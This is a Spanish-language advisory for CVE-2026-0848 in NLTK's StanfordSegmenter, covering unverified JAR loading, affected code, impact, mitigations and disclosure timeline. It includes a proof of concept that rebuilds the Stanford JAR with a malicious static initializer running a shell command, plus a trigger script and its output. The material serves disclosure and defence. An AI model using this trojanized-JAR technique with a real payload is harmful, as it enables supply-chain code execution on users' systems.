nltk.tokenize.StanfordSegmenter carga dinámicamente archivos Java .jar externos sin verificación ni sandboxing. Si un atacante puede proporcionar o reemplazar el JAR (por ejemplo, una descarga de modelo envenenada, un intercambio de paquete MITM o un envenenamiento de dependencias), se ejecuta bytecode Java arbitrario en el momento de la importación.
| Campo | Detalles |
|---|
| ID CVE | CVE-2026-0848 |
| Paquete | nltk (Natural Language Toolkit) |
| Registro | PyPI |
| Versiones afectadas | <= 3.9.2 |
| Tipo de vulnerabilidad | CWE-20: Validación de entrada incorrecta |
| Puntuación CVSS | 10.0 (Crítica) |
| Vector de ataque | Red |
| Complejidad del ataque | Baja |
| Privilegios requeridos | Ninguno |
| Interacción del usuario | Ninguna |
| Alcance | Cambiado |
| Impacto de confidencialidad | Alto |
| Impacto de integridad | Alto |
| Impacto de disponibilidad | Alto |
| Reportado el | 6 de diciembre de 2025 |
| CVE publicado | Marzo de 2026 |
| Respaldado por | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter carga dinámicamente archivos Java .jar externos mediante subprocess sin realizar ninguna verificación de integridad, comprobación de firmas ni sandboxing. La clase acepta parámetros totalmente controlados por el atacante, incluyendo path_to_jar, path_to_model, path_to_dict y java_class, y los pasa directamente a una invocación java -cp.
Si un atacante puede suministrar o reemplazar el archivo JAR — mediante la descarga de un modelo envenenado, un intercambio de paquete man-in-the-middle, envenenamiento de dependencias o un espejo de distribución corrupto — se ejecuta bytecode de Java arbitrario en tiempo de carga de clases mediante el mecanismo de inicializador estático de la JVM. Esto constituye una vulnerabilidad de ejecución remota de código en la cadena de suministro y escapa por completo del runtime de Python.
| Archivo | Líneas | Descripción |
|---|---|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | Acepta path_to_jar, path_to_model, path_to_dict y java_class controlados por el atacante sin ninguna validación |
nltk/internals.py | L220–L300 | Ejecuta Java directamente con la ruta JAR y el classpath controlados por el usuario, sin sandboxing ni verificación de sumas de verificación |
nltk/internals.py | L109–L152 | subprocess.Popen() ejecuta Java con entrada de classpath sin validar, lo que permite a la JVM cargar bytecode arbitrario y ejecutar inicializadores estáticos |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Métrica | Valor |
|---|---|
| Vector de ataque | Red |
| Complejidad del ataque | Baja |
| Privilegios requeridos | Ninguno |
| Interacción del usuario | Ninguna |
| Alcance | Cambiado |
| Confidencialidad | Alta |
| Integridad | Alta |
| Disponibilidad | Alta |
Una explotación exitosa otorga al atacante control total del sistema que ejecuta el proceso de segmentación de NLTK:
Runtime.getRuntime().exec() o ProcessBuilder para ejecutar comandos shell arbitrarios| Escenario | Impacto |
|---|---|
| Un investigador de ML carga un segmentador preentrenado desde internet | El atacante remoto obtiene ejecución de código |
| Una organización descarga un ZIP de modelo de segmentación chino corrupto | El malware se ejecuta dentro del pipeline de NLP en producción |
El servidor de CI/CD instala el modelo mediante wget/unzip desde un espejo no HTTPS | Compromiso total del entorno |
| Toma de control de dependencias o espejo de distribución envenenado | RCE completa en la cadena de suministro |
Esta vulnerabilidad afecta a cualquier flujo de trabajo de NLP que utilice StanfordSegmenter, incluidos chatbots, pipelines de preprocesamiento de LLM, segmentación de conjuntos de datos, clasificación de documentos y servicios de inferencia en producción.
Esta información se proporciona únicamente con fines educativos y defensivos. No pruebe contra sistemas que no le pertenezcan o para los que no tenga autorización explícita.
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
Salida:
[+] Triggering payload via modified Stanford JAR...
Payload executed — Code ran on class load!
[+] Running segmentation...
我 爱 自然语言 处理
Confirmar RCE:
ls /tmp | grep pwned_hijack
# pwned_hijack
La vulnerabilidad existe en dos archivos:
stanford_segmenter.py — El constructor de la clase StanfordSegmenter acepta path_to_jar, path_to_model, path_to_dict y java_class como argumentos de cadena simples y los reenvía directamente a la capa de ejecución de Java sin realizar ninguna de las siguientes acciones:
java_class contra un conjunto conocido y seguro de nombres de claseinternals.py — El helper java() construye y lanza una llamada a subprocess.Popen() con el classpath proporcionado por el usuario. La JVM carga inmediatamente todas las clases del JAR proporcionado, ejecutando cualquier bloque inicializador estático antes de que se ejecute la lógica de la aplicación. No hay sandbox, ni compuerta de integridad, ni mecanismo para impedir la ejecución de bytecode inyectado.
La vulnerabilidad se ha resuelto por completo en el repositorio ascendente de NLTK.
| Recurso | Enlace |
|---|---|
| Corrección de seguridad central (todos los CVE) | https://github.com/nltk/nltk/pull/3522 |
| PR de corrección inicial del investigador | https://github.com/nltk/nltk/pull/3477 (fusionado) |
Actualice a una versión parcheada de NLTK en cuanto esté disponible en PyPI.
| Acción | Detalles |
|---|---|
| Actualizar NLTK | Actualice a una versión posterior a 3.9.2 que contenga la corrección del PR #3522 |
| No usar rutas JAR controladas por el usuario | Nunca permita que la entrada del usuario influya en los argumentos path_to_jar, path_to_model o java_class |
| Verificar la integridad del JAR | Verifique siempre las sumas de verificación SHA-256 de los archivos JAR descargados contra los hashes oficiales publicados antes de usarlos |
| Usar solo fuentes HTTPS | Descargue modelos y archivos JAR exclusivamente desde fuentes HTTPS oficiales; rechace cualquier HTTP o espejo no verificado |
| Privilegio mínimo | Ejecute servicios basados en NLTK bajo un usuario del SO restringido con permisos mínimos de sistema de archivos y red |
| Contenedorización | Aísle los servicios de NLP en contenedores Docker o sandboxes similares para limitar el radio de explosión de los exploits basados en JAR |
| Monitoreo de dependencias | Use una herramienta de análisis de composición de software para detectar dependencias JAR manipuladas o reemplazadas en pipelines de CI/CD |
Actualizar mediante pip:
pip install --upgrade nltk
Verificar la versión instalada:
python -c "import nltk; print(nltk.__version__)"
| Fecha | Evento |
|---|---|
| 6 de diciembre de 2025 | Vulnerabilidad reportada a huntr.dev por el investigador hyperps1 (Sarvesh Patil) |
| Diciembre de 2025 | Equipo de mantenedores de NLTK notificado a través de huntr.dev |
| Enero de 2026 | Los mantenedores de NLTK validaron la vulnerabilidad; se otorgó la recompensa por divulgación |
| Enero de 2026 | Asignado CVE-2026-0848 |
| Enero de 2026 | El PR de corrección #3477 del investigador fue enviado y fusionado |
| Febrero de 2026 | Aviso previo a la publicación de 48 horas enviado a los mantenedores de NLTK |
| Marzo de 2026 | CVE publicado en NVD y huntr.dev |
| Marzo de 2026 | Corrección de seguridad central para todos los CVE fusionada mediante el PR #3522 |
| Recurso | Enlace |
|---|---|
| Entrada NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-0848 |
| Registro oficial CVE | https://cve.org/CVERecord?id=CVE-2026-0848 |
| Informe huntr.dev | https://huntr.dev |
| PR de corrección central | https://github.com/nltk/nltk/pull/3522 |
| PR de corrección del investigador | https://github.com/nltk/nltk/pull/3477 |
| NLTK en PyPI | https://pypi.org/project/nltk/ |
| Stanford Word Segmenter | https://nlp.stanford.edu/software/segmenter.html |
| OWASP — Ejecución de código arbitrario | https://owasp.org/www-community/attacks/Code_Injection |
| OWASP — Ruta de búsqueda no confiable | https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection |
| CWE-20: Validación de entrada incorrecta | https://cwe.mitre.org/data/definitions/20.html |
| CWE-502: Deserialización de datos no confiables | https://cwe.mitre.org/data/definitions/502.html |
Este repositorio documenta CVE-2026-0848 estrictamente con fines educativos, de investigación y de seguridad defensiva. El código de prueba de concepto y los detalles técnicos se proporcionan para ayudar a desarrolladores, ingenieros de seguridad y administradores de sistemas a comprender, evaluar y remediar esta vulnerabilidad.
Cualquier uso de esta información para acceder o comprometer sistemas sin autorización explícita es ilegal y poco ético. El autor no asume ninguna responsabilidad por el mal uso de la información contenida en este documento.
Colaboradores: ketanHub